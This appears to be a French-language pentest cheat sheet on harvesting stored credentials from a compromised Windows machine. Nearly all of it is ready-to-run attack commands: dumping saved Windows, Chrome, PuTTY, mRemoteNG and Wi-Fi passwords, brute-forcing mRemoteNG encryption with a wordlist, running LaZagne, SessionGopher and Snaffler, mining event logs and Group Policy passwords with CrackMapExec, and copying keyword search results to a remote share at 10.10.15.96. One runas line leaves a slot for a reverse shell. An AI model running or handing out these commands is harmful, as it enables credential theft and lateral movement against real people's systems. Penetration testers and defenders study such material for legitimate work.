Skip to content

Recherche de fichiers intéressants et credentials depuis Windows

Dossiers intéressants

dir c:\
dir "%USERPROFILE%"
dir "%USERPROFILE%\Documents"
dir "%USERPROFILE%\Desktop"

Mots de passe enregistrés

Extraction manuelle

cmdkey

Si la commande cmdkey /list affiche des comptes, on pourra :

  • Se connecter avec mstsc.exe avec un mot de passe pré enregistré
  • Executer une fenêtre DOS en tant que :
 inlanefreight\bob "COMMAND HERE | REVERSE SHELL etc"
Get-ChildItem  'C:\Users\' -Directory | % { gci -Hidden "$($_.Fullname)\AppData\Local\Microsoft\Credentials\" -erroraction silentlycontinue; gci -Hidden "$($_.Fullname)\AppData\Roaming\Microsoft\Credentials\" -erroraction silentlycontinue }

Google Chrome

SharpChrome peut extraire les identifiants mot de passe stockés.

.\SharpChrome.exe logins /unprotect

mRemoteNG

Les fichiers de configuration sont stockés dans  %USERPROFILE%\APPDATA\Roaming\mRemoteNG\confCons.xml

# Identification des fichiers de configuration d'mRemoteNG
(Gci c:\Users -Directory | Select -ExpandProperty Name | %{ gc "C:\Users\$_\APPDATA\Roaming\mRemoteNG\confCons.xml" -ErrorAction SilentlyContinue} ) -split ' ' | Select-String -List "pass", "user"

Les fichiers ont la forme suivante :

<?XML version="1.0" encoding="utf-8"?>
<mrng:Connections xmlns:mrng="http://mremoteng.org" Name="Connections" Export="false" EncryptionEngine="AES" BlockCipherMode="GCM" KdfIterations="1000" FullFileEncryption="false" Protected="QcMB21irFadMtSQvX5ONMEh7X+TSqRX3uXO5DKShwpWEgzQ2YBWgD/uQ86zbtNC65Kbu3LKEdedcgDNO6N41Srqe" ConfVersion="2.6">
    <Node Name="RDP_Domain" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="096332c1-f405-4e1e-90e0-fd2a170beeb5" Username="administrator" Domain="test.local" Password="sPp6b6Tr2iyXIdD/KFNGEWzzUyU84ytR95psoHZAFOcvc8LGklo+XlJ+n+KrpZXUTs2rgkml0V9u8NEBMcQ6UnuOdkerig==" Hostname="10.0.0.10" Protocol="RDP" PuttySession="Default Settings" Port="3389"
    ..SNIP..
</Connections>

Les mots de passes sont stockés sous une forme chiffrée avec le mot de passe par défaut mR3m.

L'outil  mRemoteNG-Decrypt permet de décrypter le mot de passe.

Déchiffrement du mot de passe
# clé de chiffrement par défaut : mR3m
python3 mremoteng_decrypt.py -s "s1LN9UqWy2QFv2aKvGF42YRfFvp0bytu04yyCuVQiI12MQvkYT3XcOxWaLTz0aSNjRjr3Rilf6Xb4XQ="

# Autre clé
python3 mremoteng_decrypt.py -s "EBHmUA3DqM3sHushZtOyanmMowr/M/hd8KnC3rUJfYrJmwSj+uGSQWvUWZEQt6wTkUqthXrf2n8AR477ecJi5Y0E/kiakA==" -p admin

# Attaque par dictionnaire pour trouver le mot de passe 
for password in $(cat /usr/share/wordlists/fasttrack.txt);do echo $password; python3 mremoteng_decrypt.py -s "EBHmUA3DqM3sHushZtOyanmMowr/M/hd8KnC3rUJfYrJmwSj+uGSQWvUWZEQt6wTkUqthXrf2n8AR477ecJi5Y0E/kiakA==" -p $password 2>/dev/null;done 

Autologon

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" | findstr /i "AutoAdmin Username Password"

Putty

# Liste des sessions enregistrées
reg query HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions
# Interrogation d'une session
reg query HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\Server1 | findstr /i "User Pass"

Mots de passe Wifi

# Liste des profiles
netsh wlan show profile

# Affichage de la clé wifi du profile "Profile1"
netsh wlan show profile Profile1 key=clear

Outils ciblant plusieures applicatifs

Lazagne

** PENSER A RELANCER EN TANT QUE SYSTEM **

Collecte de nombreux mots de passe stockés dans diverses endroits du système

Liste des applicatifs supportés : https://github.com/AlessandroZ/LaZagne#supported-software

https://github.com/AlessandroZ/LaZagne/releases/download/v2.4.5/LaZagne.exe

lazagne.exe all

SessionGopher

D'après la documentation du projet, décrypte les mots de passes stockés dans les configuration des applications suivantes : PuTTY, WinSCP, FileZilla, SuperPuTTY, et RDP.

SessionGopher

Import-Module .\SessionGopher.ps1
Invoke-SessionGopher -Target SRV1 # si privilèges suffisants. Sinon, on peut chercher des infos pour son propre compte utilisateur ou tout ceux du poste (si admin)

Fichiers Intéressants

Recherche de fichier automatisée : Snaffler

https://github.com/SnaffCon/Snaffler/releases/download/1.0.132/Snaffler.exe

 .\snaffler.exe -s -i c:\
 .\snaffler.exe -o \\10.10.15.96\share\snaffler.log -i c:\

Recherche de fichiers manuelle

CMD

# FINDSTR
# /S : recherche dans les sous dossiers
# /P : ignore les fichiers ne contenant pas de caractères affichables
# /I : insenssible à la casse
# /N : affiche le numéro des lignes correspondant
# /M : affiche seulement le nom du fichier (pas la ligne correspondant au texte cherché)

# recherche du terme "password" ou "cred" : liste le nom des fichiers contenant "password" (sans afficher le contenu trouvé)
findstr /SIM "password cred" *.xml *.yml *.ini *.txt *.config *.cfg *.git *.ps1 *.vbs *.cmd *.bat *.sh

# recherche du terme "password" ou "cred" : liste le nom des fichiers et la ligne qui a matché
findstr /SPIN  "password cred" *.xml *.yml *.ini *.txt *.config *.cfg *.git *.ps1 *.cmd *.bat *.sh* # *.vbs

# Recherche de différents fichiers en même temps
dir /S /B *secret* == *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* == *.rdp == *.vnc == *.cred == *.kdbx *.vhd* == *.vmdk *.sh

Powershell

# Terme intéressants dans des fichiers
## Nom du fichier et mot clé trouvé
Get-ChildItem *.xml, *.yml, *.ini, *.txt, *.config, *.cfg, *.git, *.ps1, *.vbs, *.cmd, *.bat  -Recurse -ErrorAction SilentlyContinue | ? { $_.Path -notlike '*\windows\*' } | Select-String "password"  -ErrorAction SilentlyContinue  | Sort -Unique | Tee-Object \\10.10.15.96\share\found_word_password.txt
# Nom du fichier seulement
Get-ChildItem *.xml, *.yml, *.ini, *.txt, *.config, *.cfg, *.git, *.ps1, *.vbs, *.cmd, *.bat  -Recurse -ErrorAction SilentlyContinue | ? { $_.Path -notlike '*\windows\*' } | Select-String "password"  -ErrorAction SilentlyContinue | Select -ExpandProperty Path | Sort -Unique | Tee-Object \\10.10.15.96\share\found_word_password.txt


# Fichiers avec des noms intéressants
Get-ChildItem  -Recurse -Include "*secret*", "*pass*.txt", "*pass*.xml", "*pass*.ini", "*cred*", "*vnc*", "*.config", "*.rdp", "*.vnc", "*.cred", "*.kdbx","*.kdb", "*.vhd*", "*.vmdk" -ErrorAction Ignore | Select -ExpandProperty FullName

Historiques Powershell

On peut vérifier l'emplacement de l'historique via : (Get-PSReadLineOption).HistorySavePath

Collecte des historiques (emplacement par défaut)

Gci c:\Users -Directory | Select -ExpandProperty Name | %{ gc "C:\Users\$_\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue}

Dictionnaire Google Chrome

Gci c:\Users -Directory | Select -ExpandProperty Name | %{ gc "C:\Users\$_\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt" -ErrorAction SilentlyContinue | Select-String password }

Pense bête (sticky notes)

Gci c:\Users -Directory | Select -ExpandProperty Name | %{ gc "C:\Users\$_\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite" -ErrorAction SilentlyContinue }

Lecture du contenu

Autres

# Passwords in scripts in different shares :  SYSVOL, IT shares
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
%WINDIR%\System32\drivers\etc\hosts
C:\ProgramData\Configs\*
C:\Program Files\Windows PowerShell\*
unattend.xml
c:\windows\panther\unattend.xml

Passwords in the AD user or computer description fields

KeePass databases --> pull hash, crack and get loads of access.

Found on user systems and shares

# Files such as pass.txt, passwords.docx, passwords.xlsx found on user systems, shares, Sharepoint

Configuration IIS

Fichier C:\inetpub\wwwroot\web.config

Recherche de unattend.xml

Script a définir (voir emplacements)

Barre de recherche Windows

Mots à tenter dans la barre de recherche du menu Démarrer

Passwords
Passphrases
Keys
Username
User account
Creds
Users
Passkeys
Passphrases
configuration
dbcredential
dbpassword
pwd
Login
Credentials

Observateur d'évènement

Si on est membre du groupe Event Log Readers, on pourra consulter l'observateur d'évènements.

Si les Event ID 4688 (Un nouveau processus a été créé) sont audités, on pourra potentiellement trouver lignes de commandes incluant des nom de compte utilisateur (voir des mots de passe).

###### nécessite d'être membre du gruope "Event Log Readers"
# Affiche toutes les lignes de commande auditées
wevtutil qe Security /rd:true /f:text | Select-String "line"
# Affiche les lignes contenant '/user'
wevtutil qe Security /rd:true /f:text | Select-String "/user"
# avec credentials alternatifs
wevtutil qe Security /rd:true /f:text /r:share01 /u:julie.clay /p:Welcome1 | findstr "/user"

Version Powershell (Nécessite d'être Administrateur local)

Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }}

Email

If we gain access to a domain-joined system in the context of a domain user with a Microsoft Exchange inbox, we can attempt to search the user's email for terms such as "pass," "creds," "credentials," etc. using the tool MailSniper.

Mots de passe dans les stratégies de groupe

# cme smb <TARGET[s]> -u <USERNAME> -p <PASSWORD> -d <DOMAIN> -M gpp_password

Local admin:
# cme smb 10.0.5.1 -u Administrator -p P@ss123 -d . -M gpp_password
# cme smb 10.0.5.1 -u Administrator -p P@ss123 --local-auth -M gpp_password

Domain user:
# cme smb 10.0.5.1 -u bkpadmin -p P@ss123 -d target.corp -M gpp_password

Cookies

Si on trouve des cookies de session dans les profils utilisateurs, on pourra potentiellement accéder à des ressources web sans avoir à s'authentifier.

Voir [[Réutilisation de cookies de session]]